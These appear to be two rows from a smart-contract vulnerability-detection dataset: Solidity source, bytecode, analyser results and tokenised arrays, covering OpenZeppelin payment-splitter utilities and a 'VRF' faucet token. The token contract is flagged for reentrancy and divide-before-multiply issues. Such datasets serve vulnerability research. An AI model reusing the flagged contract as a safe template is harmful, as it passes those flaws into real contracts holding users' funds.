splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } pragma solidity 0.8.4; contract CloneFactory { function createClone(address target) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80635d08b28e14610046578063a57626da1461005b578063cd446e221461008a575b600080fd5b610059610054366004610287565b61009d565b005b61006e610069366004610355565b61019c565b6040516001600160a01b03909116815260200160405180910390f35b60005461006e906001600160a01b031681565b600080546100b3906001600160a01b03166101c6565b6040516306e3542b60e31b81529091506001600160a01b0382169063371aa158906100e4908690869060040161036d565b600060405180830381600087803b1580156100fe57600080fd5b505af1158015610112573d6000803e3d6000fd5b50506001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60180546001600160a01b0319166001600160a01b0385169081179091556040519081527f5d510b558bb82b2190a2cbd5aac97aa7e991ebca168fb324be0f70bea1c260679250602001905060405180910390a1505050565b600181815481106101ac57600080fd5b6000918252602090912001546001600160a01b0316905081565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b600082601f830112610228578081fd5b8135602061023d61023883610414565b6103e3565b80838252828201915082860187848660051b890101111561025c578586fd5b855b8581101561027a5781358452928401929084019060010161025e565b5090979650505050505050565b60008060408385031215610299578182fd5b823567ffffffffffffffff808211156102b0578384fd5b818501915085601f8301126102c3578384fd5b813560206102d361023883610414565b8083825282820191508286018a848660051b89010111156102f2578889fd5b8896505b848710156103285780356001600160a01b038116811461031457898afd5b8352600196909601959183019183016102f6565b509650508601359250508082111561033e578283fd5b5061034b85828601610218565b9150509250929050565b600060208284031215610366578081fd5b5035919050565b604080825283519082018190526000906020906060840190828701845b828110156103af5781516001600160a01b03168452928401929084019060010161038a565b50505083810382850152845180825285830191830190845b8181101561027a578351835292840192918401916001016103c7565b604051601f8201601f1916810167ffffffffffffffff8111828210171561040c5761040c610438565b604052919050565b600067ffffffffffffffff82111561042e5761042e610438565b5060051b60200190565b634e487b7160e01b600052604160045260246000fdfea26469706673582212201f0d4265ae075b1c71830186df85e05992b6f04de7996ceb7bd99b1eef94175b64736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 19481, 2581, 2509, 29292, 27717, 2094, 22932, 2692, 2575, 16932, 2581, 2278, 2581, 17788, 2620, 2278, 2549, 4783, 2278, 2549, 2094, 2487, 2497, 2575, 11329, 2497, 27814, 2620, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 7661, 4523, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 17598, 21450, 1012, 14017, 1000, 1025, 3206, 3040, 4523, 2003, 17598, 21450, 1063, 4769, 2270, 3040, 8663, 6494, 6593, 1025, 7661, 4523, 1031, 1033, 2270, 8827, 2229, 1025, 2724, 8827, 16748, 4383, 1006, 4769, 8827, 1007, 1025, 9570, 2953, 1006, 4769, 1035, 3040, 8663, 6494, 6593, 1007, 1063, 3040, 8663, 6494, 6593, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,094
0x96357e75b7ccb1a7cf10ac6432021aea7174c803
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'VRF' '0xVerify' token contract // // Symbol : VRF // Name : 0xVerify // Decimals : 18 // // A faucet distributed token, powered by ethverify.net // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event TokensClaimed(address indexed to, uint tokens); } contract EthVerifyCore{ mapping (address => bool) public verifiedUsers; } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // 0xVRF ERC20 Token // ---------------------------------------------------------------------------- contract VerifyToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public dailyDistribution; uint public timestep; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => uint) public lastClaimed; uint public claimedYesterday; uint public claimedToday; uint public dayStartTime; bool public activated=false; address public creator; EthVerifyCore public ethVerify=EthVerifyCore(0x1Ea6fAd76886fE0C0BF8eBb3F51678B33D24186c);//0x286A090b31462890cD9Bf9f167b610Ed8AA8bD1a); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { timestep=24 hours;//10 minutes;//24 hours; symbol = "VRF"; name = "0xVerify"; decimals = 18; dailyDistribution=10000000 * 10**uint(decimals); claimedYesterday=20; claimedToday=0; dayStartTime=now; _totalSupply=140000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; creator=msg.sender; } function activate(){ require(!activated); require(msg.sender==creator); dayStartTime=now-1 minutes; activated=true; } // ------------------------------------------------------------------------ // Claim VRF tokens daily, requires an Eth Verify account // ------------------------------------------------------------------------ function claimTokens() public{ require(activated); //progress the day if needed if(dayStartTime<now.sub(timestep)){ uint daysPassed=(now.sub(dayStartTime)).div(timestep); dayStartTime=dayStartTime.add(daysPassed.mul(timestep)); claimedYesterday=claimedToday > 1 ? claimedToday : 1; //make 1 the minimum to avoid divide by zero claimedToday=0; } //requires each account to be verified with eth verify require(ethVerify.verifiedUsers(msg.sender)); //only allows each account to claim tokens once per day require(lastClaimed[msg.sender] <= dayStartTime); lastClaimed[msg.sender]=now; //distribute tokens based on the amount distributed the previous day; the goal is to shoot for an average equal to dailyDistribution. claimedToday=claimedToday.add(1); balances[msg.sender]=balances[msg.sender].add(dailyDistribution.div(claimedYesterday)); _totalSupply=_totalSupply.add(dailyDistribution.div(claimedYesterday)); emit TokensClaimed(msg.sender,dailyDistribution.div(claimedYesterday)); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } } // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } }
0x6080604052600436106101275763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663013eba92811461012c57806302d05d3f1461015f578063062d0f091461019057806306fdde03146101a5578063083780401461022f57806308722e7814610244578063095ea7b3146102595780630f15f4c01461029157806318160ddd146102a8578063186601ca146102bd57806323b872dd146102d2578063313ce567146102fc5780633eaaf86b1461032757806348c54b9d1461033c57806370a082311461035157806387bfce9e1461037257806395d89b4114610387578063a9059cbb1461039c578063a9d74013146103c0578063cae9ca51146103d5578063dd62ed3e1461043e578063de8f55af14610465575b600080fd5b34801561013857600080fd5b5061014d600160a060020a036004351661047a565b60408051918252519081900360200190f35b34801561016b57600080fd5b5061017461048c565b60408051600160a060020a039092168252519081900360200190f35b34801561019c57600080fd5b5061014d6104a0565b3480156101b157600080fd5b506101ba6104a6565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f45781810151838201526020016101dc565b50505050905090810190601f1680156102215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023b57600080fd5b5061014d610533565b34801561025057600080fd5b50610174610539565b34801561026557600080fd5b5061027d600160a060020a0360043516602435610548565b604080519115158252519081900360200190f35b34801561029d57600080fd5b506102a66105af565b005b3480156102b457600080fd5b5061014d6105f2565b3480156102c957600080fd5b5061027d610635565b3480156102de57600080fd5b5061027d600160a060020a036004358116906024351660443561063e565b34801561030857600080fd5b50610311610749565b6040805160ff9092168252519081900360200190f35b34801561033357600080fd5b5061014d610752565b34801561034857600080fd5b506102a6610758565b34801561035d57600080fd5b5061014d600160a060020a036004351661099d565b34801561037e57600080fd5b5061014d6109b8565b34801561039357600080fd5b506101ba6109be565b3480156103a857600080fd5b5061027d600160a060020a0360043516602435610a19565b3480156103cc57600080fd5b5061014d610ac9565b3480156103e157600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261027d948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610acf9650505050505050565b34801561044a57600080fd5b5061014d600160a060020a0360043581169060243516610c30565b34801561047157600080fd5b5061014d610c5b565b60086020526000908152604090205481565b600c546101009004600160a060020a031681565b60055481565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561052b5780601f106105005761010080835404028352916020019161052b565b820191906000526020600020905b81548152906001019060200180831161050e57829003601f168201915b505050505081565b600b5481565b600d54600160a060020a031681565b336000818152600760209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600c5460ff16156105bf57600080fd5b600c546101009004600160a060020a031633146105db57600080fd5b603b194201600b55600c805460ff19166001179055565b600080805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546003546106309163ffffffff610c6116565b905090565b600c5460ff1681565b600160a060020a038316600090815260066020526040812054610667908363ffffffff610c6116565b600160a060020a03851660009081526006602090815260408083209390935560078152828220338352905220546106a4908363ffffffff610c6116565b600160a060020a0380861660009081526007602090815260408083203384528252808320949094559186168152600690915220546106e8908363ffffffff610c7616565b600160a060020a0380851660008181526006602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60025460ff1681565b60035481565b600c5460009060ff16151561076c57600080fd5b60055461078090429063ffffffff610c6116565b600b5410156107fa576107b06005546107a4600b5442610c6190919063ffffffff16565b9063ffffffff610c8616565b90506107d96107ca60055483610ca790919063ffffffff16565b600b549063ffffffff610c7616565b600b55600a546001106107ed5760016107f1565b600a545b6009556000600a555b600d54604080517fe35fe3660000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a039092169163e35fe366916024808201926020929091908290030181600087803b15801561086057600080fd5b505af1158015610874573d6000803e3d6000fd5b505050506040513d602081101561088a57600080fd5b5051151561089757600080fd5b600b543360009081526008602052604090205411156108b557600080fd5b336000908152600860205260409020429055600a546108db90600163ffffffff610c7616565b600a55600954600454610914916108f8919063ffffffff610c8616565b336000908152600660205260409020549063ffffffff610c7616565b3360009081526006602052604090205560095460045461094d9161093e919063ffffffff610c8616565b6003549063ffffffff610c7616565b60035560095460045433917f896e034966eaaf1adc54acc0f257056febbd300c9e47182cf761982cf1f5e430916109899163ffffffff610c8616565b60408051918252519081900360200190a250565b600160a060020a031660009081526006602052604090205490565b60095481565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561052b5780601f106105005761010080835404028352916020019161052b565b33600090815260066020526040812054610a39908363ffffffff610c6116565b3360009081526006602052604080822092909255600160a060020a03851681522054610a6b908363ffffffff610c7616565b600160a060020a0384166000818152600660209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600a5481565b336000818152600760209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610bbf578181015183820152602001610ba7565b50505050905090810190601f168015610bec5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610c0e57600080fd5b505af1158015610c22573d6000803e3d6000fd5b506001979650505050505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60045481565b600082821115610c7057600080fd5b50900390565b818101828110156105a957600080fd5b6000808211610c9457600080fd5b8183811515610c9f57fe5b049392505050565b818102821580610cc15750818382811515610cbe57fe5b04145b15156105a957600080fd00a165627a7a723058208bc4e511cd7a52c879cfbcc43a9114bd6196edd188af14e08cd231ae32f0464a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 19481, 2581, 2063, 23352, 2497, 2581, 9468, 2497, 2487, 2050, 2581, 2278, 2546, 10790, 6305, 21084, 16703, 2692, 17465, 21996, 2581, 16576, 2549, 2278, 17914, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 27830, 2546, 1005, 102 ]
